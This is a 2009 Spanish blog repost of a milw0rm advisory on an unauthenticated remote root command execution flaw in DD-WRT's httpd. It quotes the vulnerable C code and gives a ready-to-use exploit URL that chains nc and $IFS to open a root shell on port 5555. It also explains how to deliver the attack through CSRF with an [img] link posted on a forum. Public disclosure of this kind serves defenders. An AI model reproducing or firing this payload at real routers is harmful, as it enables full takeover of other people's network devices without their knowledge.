DD-WRT (httpd service) Remote Command Execution Vulnerability

Permalink 24.07.09 @ 02:25:52. Archivado en Vulnerabilidades, Ejecución de código, Elevación de privilegios, Videos

more: cafemigao.com

./ Video demostracion de la vulnerabilidad:

## http://www.youtube.com/watch?v=UhDcXCVFrvM

./ El exploit:

## http://milw0rm.com/exploits/9209

+------------------------------------------------------------------------------------------------------------+

This is a remote root vulnerability in DD-WRT's httpd server. The bug exists
at the latest 24 sp1 version of the firmware.

The problem is due to many bugs and bad software design decisions. Here is
part of httpd.c:

859 if (containsstring(file, "cgi-bin")) {
860
861 auth_fail = 0;
862 if (!do_auth
863 (conn_fp, auth_userid, auth_passwd, auth_realm,
864 authorization, auth_check))
865 auth_fail = 1;

......... (snip)............

899
900 }
901 exec = fopen("/tmp/exec.tmp", "wb");
902 fprintf(exec, "export REQUEST_METHOD=\"%s\"\n", method);
903 if (query)
904 fprintf(exec, "/bin/sh %s/%s/tmp/shellout.asp");

........... (snip)..........

926 if (auth_fail == 1) {
927 send_authenticate(auth_realm);
928 auth_fail = 0;

------------

3) issue 3: httpd runs as root :)

Now let's sum up (1), (2) and (3). Any unauthenticated attacker that can
connect to the management web interface can get easily root on the device via
his browser with an URL like:

http://routerIP/cgi-bin/;command_to_execute

There is a catch though: whitespaces break it. Anyway, they can be easily
replaced with shell variable like $IFS. So, getting root shell at 5555/tcp
becomes as easy as typing this in your browser's url bar:

http://routerIP/cgi-bin/;nc$IFS-l$IFS-p$IFS\5555$IFS-e$IFS/bin/sh

Voila (pretty old-school, eheh). Here is some (poor) video demonstrating the
problem:
http://www.youtube.com/watch?v=UhDcXCVFrvM

Fortunately, httpd by default does not listen on the outbound interface.
However, this vulnerability can be exploited via a CSRF attack (the dd-wrt
device's owner does not even need to have an authenticated session on the web
UI which is bad, bad). However, a base authentication dialog will appear. In
IE even this can be supressed, see this one:

http://ha.ckers.org/blog/20090630/csrf-and-ignoring-basicdigest-auth/

Unlike the already documented CSRF vulnerability (
http://www.securityfocus.com/bid/32703 ) this DOES NOT need an authenticated
session. This means someone can even post some crafted [img] link on a forum
and a dd-wrt router owner visiting the forum will get owned :)

A weird vulnerability you're unlikely to see in 2009 :) Quite embarrassing I
would say :)

Thanks krassyo at krassyo.info for his support :)

Leka vecher :)

# milw0rm.com [2009-07-20]


Bookmark and Share

Comentarios:

Aún no hay Comentarios para este post...

Se muestran únicamente los últimos 40 comentarios de cada post.

Los comentarios para este post están cerrados.

Blogs
El buen vivir de Juan Luis Recio

El buen vivir de Juan Luis Recio

Nada que ver

Juan Luis Recio

Crónicas Bárbaras

Crónicas Bárbaras

Gürtel y Correas

Manuel Molares do Val

El blog de Patricio Peñalver

El blog de Patricio Peñalver

Y la próxima semana hablaremos del Gobierno

Patricio Peñalver

Audiovisual Legal

Audiovisual Legal

Las claves legislativas de las emisoras comunitarias en España

Jaime Rodriguez

El Blog de Otramotro

El Blog de Otramotro

Ojalá fuera el menda tu Odiseo/Ulises y tú mi Penélope

Ángel Sáez García

Movimiento rural cristiano

Movimiento rural cristiano

Y su sangre es preciosa ante sus ojos

Movimiento Rural Cristiano

El Blog de Baldo

El Blog de Baldo

Soraya Saénz de Santamaría azuza a los sindicatos

Baldomero Gómez

Protestantes

Protestantes

La tumba de Herodes reabre un viejo debate en Israel

Pedro Tarquis

Opinión

Opinión

GOBERNAR SIN CONTEMPLACIONES (Discurso sobre la Nada neoconsocialista).

Humanismo sin credos

Humanismo sin credos

El hombre que siente encuentra a Dios. Dicen.

Asoc. Humanismo sin Credos

El alma del haiku

El alma del haiku

Lo sagrado ocurre

Vicente Haya

La Marea de Pérez Henares

La Marea de Pérez Henares

Las Ferias de Sevilla...que cada cual las cuenta según les va en ellas

Antonio Pérez Henares

Ríase, aunque sea de mí

Ríase, aunque sea de mí

Chris Gonzalez -Mora

Secularizados, mística y obispos

Secularizados, mística y obispos

Obispos. El Escalafón

Josemari Lorenzo Amelibia

El blog de X. Pikaza

El blog de X. Pikaza

Teología de la Liberación en la Universidad Complutense de Madrid (1)

Xabier Pikaza Ibarrondo

El barón rampante

El barón rampante

Vamos a probar a querernos

Jesús Bastante

Gastronomía Navarra

Gastronomía Navarra

Quiche a la Lorena - Receta del libro escuela de cocina navarra "El Bosquecillo"

Mª Rosario Aldaz Donamaría

Blog del País Vasco

Blog del País Vasco

"Víctimas contra la Impunidad". Ebook gratuito

Raúl González Zorrilla

El Blog de Francisco Margallo

El Blog de Francisco Margallo

En busca del Reino 5

Francisco Margallo

Aeterna Christi Munera

Aeterna Christi Munera

Sonidos benedictinos desde Senegal

Jose Gallardo Alberni

Haz de PD tu página de inicio | Cartas al Director | Publicidad | Buzón de sugerencias | Publicidad
Periodista Digital, SL CIF B82785809
Avenida de Asturias, 49, bajo - 28029 Madrid (España)
Tlf. (+34) 91 732 19 05
Aviso Legal | Cláusula exención responsabilidad

redaccion@periodistadigital.com Copyleft 2000

b2evolution Creative Commons License
This work is licensed under a Creative Commons License.
Noticias Periodista Digital | Periodista Latino | Reportero Digital | Ciudadano Digital | Chistes, Videos y Poesias